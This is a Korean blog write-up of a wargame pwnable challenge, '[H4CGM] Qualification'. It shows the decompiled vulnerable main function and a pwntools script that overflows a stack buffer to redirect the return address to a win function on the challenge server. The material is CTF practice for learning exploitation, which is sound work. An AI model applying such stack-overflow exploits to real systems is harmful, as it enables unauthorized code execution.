Write up (Wargame)/Pwnable

[H4CGM] Qualification

그믐​ 2022. 12. 30. 01:58
반응형
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[48]; // [rsp+0h] [rbp-30h] BYREF

  init();
  memset(s, 0, 0x28uLL);
  puts("Do you know pwnable?");
  read(0, s, 0x40uLL);
  return 0;
}

 

main은 이게 전부고

NX만 존재

 

그냥 RET를 win 함수로 바꾸려 BOF하면 된다.

 

0x38까지, SFP를 덮고

0x8을 win함수 주소로 채운다.

 

from pwn import *

p = remote('pwn.h4ckingga.me', 10001)
#p = process('./welcome')
p.recvuntil('?\n')

win = 0x00000000004006c7
payload = 'A'*0x38 + p64(win)

p.send(payload)

p.interactive()

 

언젠진 모르겠는데 이미 풀어뒀더라.. 로컬에선 안 되는데 서버로 제출하니 된다(왜지?)

 

 

반응형